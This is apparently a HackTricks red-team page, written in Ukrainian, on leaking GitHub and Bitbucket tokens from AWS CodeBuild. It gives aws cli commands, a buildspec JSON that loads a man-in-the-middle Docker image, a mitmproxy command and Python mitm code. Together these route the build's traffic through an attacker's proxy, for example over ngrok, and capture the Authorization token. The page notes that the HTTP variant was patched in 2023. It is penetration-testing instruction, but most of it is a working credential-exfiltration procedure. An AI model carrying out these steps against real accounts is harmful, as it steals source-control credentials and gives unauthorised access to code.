AWS Codebuild - Token Leakage

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Відновлення налаштованих токенів Github/Bitbucket

Спочатку перевірте, чи є налаштовані будь-які джерела облікових даних, які ви можете витікати:

aws codebuild list-source-credentials

Через Docker Image

Якщо ви виявите, що аутентифікація, наприклад, в Github встановлена в обліковому записі, ви можете ексфільтрувати цей доступ (токен GH або токен OAuth) за допомогою того, щоб Codebuild використовував конкретний образ Docker для запуску збірки проекту.

Для цієї цілі ви можете створити новий проект Codebuild або змінити середовище існуючого, щоб встановити образ Docker.

Образ Docker, який ви можете використовувати, знаходиться за посиланням https://github.com/carlospolop/docker-mitm. Це дуже базовий образ Docker, який встановить змінні середовища https_proxy, http_proxy та SSL_CERT_FILE. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в https_proxy та http_proxy, і довіряти SSL-сертифікату, вказаному в SSL_CERT_FILE.

  1. Створіть та завантажте свій власний образ Docker MitM

  • Дотримуйтесь інструкцій репозиторію, щоб встановити IP-адресу вашого проксі та встановити свій SSL-сертифікат та побудувати образ Docker.

  • НЕ ВСТАНОВЛЮЙТЕ http_proxy, щоб не перехоплювати запити до кінцевої точки метаданих.

  • Ви можете використовувати ngrok, наприклад, ngrok tcp 4444, щоб встановити проксі до вашого хоста.

  • Після побудови образу Docker завантажте його в публічний репозиторій (Dockerhub, ECR...)

  1. Встановіть середовище

  • Створіть новий проект Codebuild або змініть середовище існуючого.

  • Встановіть проект для використання раніше згенерованого образу Docker

  1. Встановіть MitM проксі на вашому хості

  • Як вказано в репозиторії Github, ви можете використовувати щось на зразок:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Використана версія mitmproxy була 9.0.1, було повідомлено, що з версією 10 це може не працювати.

  1. Запустіть збірку та захопіть облікові дані

  • Ви можете побачити токен у заголовку Authorization:

Це також можна зробити з aws cli щось на зразок

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Через протокол HTTP

Ця уразливість була виправлена AWS на якийсь момент тижня 20 лютого 2023 року (я думаю, у п'ятницю). Тому зловмисник не може вже зловживати нею :)

Зловмисник з підвищеними дозволами в CodeBuild може витікати токен Github/Bitbucket, налаштований або якщо дозволи були налаштовані через OAuth, тимчасовий токен OAuth, використаний для доступу до коду.

  • Зловмисник може додати змінні середовища http_proxy та https_proxy до проекту CodeBuild, спрямовуючи їх на свій комп'ютер (наприклад, http://5.tcp.eu.ngrok.io:14972).

  • Потім змініть URL-адресу репозиторію github на використання HTTP замість HTTPS, наприклад: **http://**github.com/carlospolop-forks/TestActions

  • Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, на який вказують змінні проксі (http_proxy та https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Натисніть на Побудувати проект, підтвердження буде відправлено у відкритому вигляді (base64) на порт mitm:

Тепер зловмиснику буде можливість використовувати токен зі свого комп'ютера, переглядати всі привілеї, які він має, та (зловживати) легше, ніж використовуючи службу CodeBuild безпосередньо.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated